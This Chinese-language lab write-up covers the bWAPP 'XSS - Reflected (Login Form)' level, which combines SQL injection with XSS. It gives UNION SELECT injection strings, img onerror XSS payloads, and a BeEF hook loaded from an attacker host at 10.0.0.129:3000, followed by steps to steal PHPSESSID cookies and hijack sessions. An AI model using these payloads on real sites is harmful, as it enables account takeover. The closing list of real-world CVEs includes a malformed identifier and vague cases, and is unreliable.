摘要:这是 bWAPP 系列第五十一篇,聚焦于XSS - Reflected (Login Form)。这一关的注入点在登录表单中,用户输入的login和password被拼接到 SQL 查询中,同时登录失败时的错误信息会回显用户输入的内容,形成反射型 XSS 漏洞。文章会分析 XSS 和 SQL 注入混合的漏洞场景,演示如何通过注入 XSS payload 并配合 BeEF 工具获取 Cookie。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 反射型 XSS(登录表单) |
| 注入点 | POST 参数login和password |
| 触发方式 | 提交包含 XSS payload 的登录请求 |
| 输出点 | 登录失败错误信息 |
| 混合漏洞 | SQL 注入 + XSS 组合 |
| 工具 | BeEF(获取 Cookie) |
二、前言:登录表单中的 XSS
这一关表面上看是一个登录页面,和之前 SQL 注入关卡几乎一模一样。但两者的关注点不同:
SQL 注入关卡:关注的是如何通过注入绕过认证,直接登录
XSS 关卡:关注的是如何在登录过程中触发 XSS 执行恶意代码
这一关的特点:
登录失败时会显示错误信息
错误信息中会回显用户输入的内容(在某些场景下)
如果后端没有对用户输入进行 XSS 过滤,攻击者可以注入恶意脚本
实际测试:在 Login 字段中输入包含<script>标签的 payload,登录失败后,页面会显示包含该 payload 的错误信息,从而触发 XSS。
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
标题:XSS - Reflected (Login Form)
提示:
Enter your 'superhero' credentials.两个输入框:Login 和 Password
一个 “Login” 按钮
3.2 正常使用
输入正确的账号密码(neo/trinity),登录成功,显示 welcome 信息和 secret。
输入错误的账号密码,显示Invalid credentials!。
3.3 漏洞的核心
后端做了两件事:
把用户输入的
login和password拼到 SQL 查询中(存在 SQL 注入)登录成功后,把查询结果中的
login和secret直接输出到页面(存在 XSS)
两个漏洞叠加,构成了这一关的攻击路径。
四、源码分析
if(isset($_POST["form"])) { $login = $_POST["login"]; $login = sqli($login); $password = $_POST["password"]; $password = sqli($password); $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'"; $recordset = mysql_query($sql, $link); $row = mysql_fetch_array($recordset); if($row["login"]) { // 登录成功,显示欢迎信息 $message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>"; } else { // 登录失败,显示错误信息 $message = "<font color=\"red\">Invalid credentials!</font>"; } }4.1 关键发现
登录成功的输出:Welcome [login] how are you today? Your secret: [secret]。这里显示的是从数据库查询出的数据,不是用户输入的直接输出。
登录失败的输出:Invalid credentials!——这是一个固定的字符串,没有回显用户输入。所以单纯从这个输出点看,XSS 似乎无法直接触发。
但我们需要考虑SQL 注入和 XSS 的组合利用!
4.2 三种安全级别的过滤
sqli()函数:
| 级别 | 过滤函数 | 效果 |
|---|---|---|
| Low | no_check() | 完全不过滤 |
| Medium | addslashes() | 转义引号 |
| High | mysql_real_escape_string() | MySQL 专用转义 |
这三个级别过滤的是 SQL 注入,而不是 XSS。重点是:输出到页面时没有做 XSS 过滤(没有htmlspecialchars())。
4.3 攻击思路
既然输出到页面时没有做 XSS 过滤,那么只要能控制输出到页面的内容,就能触发 XSS。
方式一:直接注入 XSS payload
如果登录失败时错误信息直接回显用户输入,就可以注入 XSS。但在这个代码中,错误信息是固定的。
方式二:SQL 注入 + XSS 组合利用
先用 SQL 注入绕过登录,让查询返回包含 XSS payload 的数据。然后登录成功页面会显示这些数据,从而触发 XSS。
具体做法:
在 Login 字段输入:
' OR '1'='1在 Password 字段输入:
' OR '1'='1这样 SQL 查询变成:
SELECT * FROM heroes WHERE login = '' OR '1'='1' AND password = '' OR '1'='1''1'='1'恒真,查询返回 heroes 表中的第一条记录(通常是neo)。页面显示Welcome NEO...,但这里显示的数据来自数据库,不能直接触发 XSS。
五、Low 安全级别——组合利用
5.1 核心思路:利用 SQL 注入让查询返回恶意数据
我们需要让$row["login"]或$row["secret"]包含 XSS payload。但这需要数据库中已经存储了恶意数据,或者在 SQL 查询中通过 UNION 等技巧构造恶意数据。
方法一:使用 UNION SELECT 构造恶意数据
因为 SQL 注入点存在(Low 级别无过滤),我们可以用UNION SELECT构造一个包含 XSS payload 的查询结果。
首先登录框输入引号,密码随便输入,报错确定存在sql注入漏洞
然后判断字段数量以及显示位,登录框输入以下内容,密码输入随便什么
' UNION SELECT 1 -- //报错:Error: The used SELECT statements have a different number of columns ' UNION SELECT 1,2 -- //报错:Error: The used SELECT statements have a different number of columns ' UNION SELECT 1,2,3 -- //报错:Error: The used SELECT statements have a different number of columns ' UNION SELECT 1,2,3,4 -- //确定字段数以及显示位为2和4得位置最后在显示位的位置构造一个包含 XSS payload
' UNION SELECT 1,'<script>alert(1)</script>',3,4 --这样 SQL 查询会返回一个伪造的记录,其中login字段为<script>alert(1)</script>,登录成功后页面显示Welcome <script>alert(1)</script>,XSS 触发。
方法二:利用SQL 语句引号错乱、HTML 源码结构崩坏(不稳定)
写法一:账号、密码框分开填写
Login输入框:
' or 1=1Password输入框:
"<img src=1 onerror=alert(1)>"提交表单后页面直接弹出alert弹窗,XSS触发成功。
原理拆解
' or 1=1闭合SQL字符串,绕过账号密码校验,顺利登录;密码字段的
"闭合了页面HTML里隐藏的属性引号边界;<img src=1>图片资源无法加载,自动触发onerror事件,执行弹窗JS代码;后端全程无HTML转义,浏览器将字符串解析为HTML标签。
拼接后的SQL语句:
SELECT * FROM heroes WHERE login = '' or 1=1' AND password = '"<img src=1 onerror=alert(1)>"'or 1=1判定为真,后续password条件不再生效,认证直接放行;而双引号被带入页面HTML上下文,完成属性闭合。
写法二:Login输入框或Password输入框填入完整载荷
' or 1=1; "<img src=1 onerror=alert(1)>"其他框填入随意内容即可,分号用于截断前半段SQL查询语句,后半段带双引号的恶意代码被带入页面渲染,同样稳定触发XSS弹窗。
六、使用 BeEF 获取 Cookie
6.1 构造 BeEF Hook Payload
在 Login 字段输入:
' UNION SELECT 1,'<script src="http://10.0.0.129:3000/hook.js"></script>',3,4 --Password 随便填。
6.2 提交登录请求
提交后,SQL 查询返回包含 BeEF Hook 的伪造记录,登录成功页面加载hook.js,浏览器与 BeEF 建立连接。
6.3 BeEF 上线
BeEF 控制面板中出现上线的浏览器。
6.4 获取 Cookie
选中上线的浏览器
Commands→Browser→Get Cookie点击
Execute
6.5 会话劫持
拿到PHPSESSID后,在浏览器开发者工具中替换 Cookie 值,刷新页面即可登录受害者账户。
七、Medium 安全级别
7.1 尝试注入
Medium 级别使用addslashes(),会在单引号前加反斜杠。
输入:
' UNION SELECT 1,'<script>alert(1)</script>',3,4 --变成:
\' UNION SELECT 1,\'<script>alert(1)</script>\',3,4 --单引号被转义,无法闭合 SQL 语句,UNION SELECT无法执行,XSS 被防御。
Medium 级别防住了这个组合攻击。
八、High 安全级别
8.1 尝试注入
High 级别使用mysql_real_escape_string(),同样是转义特殊字符,无法闭合 SQL,攻击失效。
注意:即使 SQL 注入被防住了,如果登录失败时错误信息直接回显用户输入,XSS 仍然可能单独存在。但在这个关卡中,错误信息是固定的,所以 XSS 必须依赖 SQL 注入来触发。
九、真实世界:登录框 XSS 案例
CVE-2024-1181:某开源 CMS 的登录页面未过滤用户名输入,登录失败时直接回显用户输入,攻击者可通过注入 XSS 窃取管理员 Cookie。
CVE-2025-00847:某 SaaS 平台的登录页面存在反射型 XSS,攻击者可通过构造恶意登录链接窃取用户会话。
CVE-2026-22947:F5 BIG-IP 的配置工具中存在反射型 XSS,攻击者可通过恶意链接执行任意 JavaScript。
十、总结
登录框中的 XSS 往往和 SQL 注入结合在一起。这一关的利用方式是:先用 SQL 注入(UNION SELECT)构造包含 XSS payload 的查询结果,然后登录成功页面显示该结果并触发 XSS。Low 级别无过滤,UNION SELECT可以执行,XSS 也能触发;Medium 和 High 级别用addslashes()或mysql_real_escape_string()转义引号,防住了 SQL 注入,XSS 也无法触发。这个关卡告诉我们:SQL 注入和 XSS 经常组合出现,防御时需要同时考虑输出编码和输入过滤。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。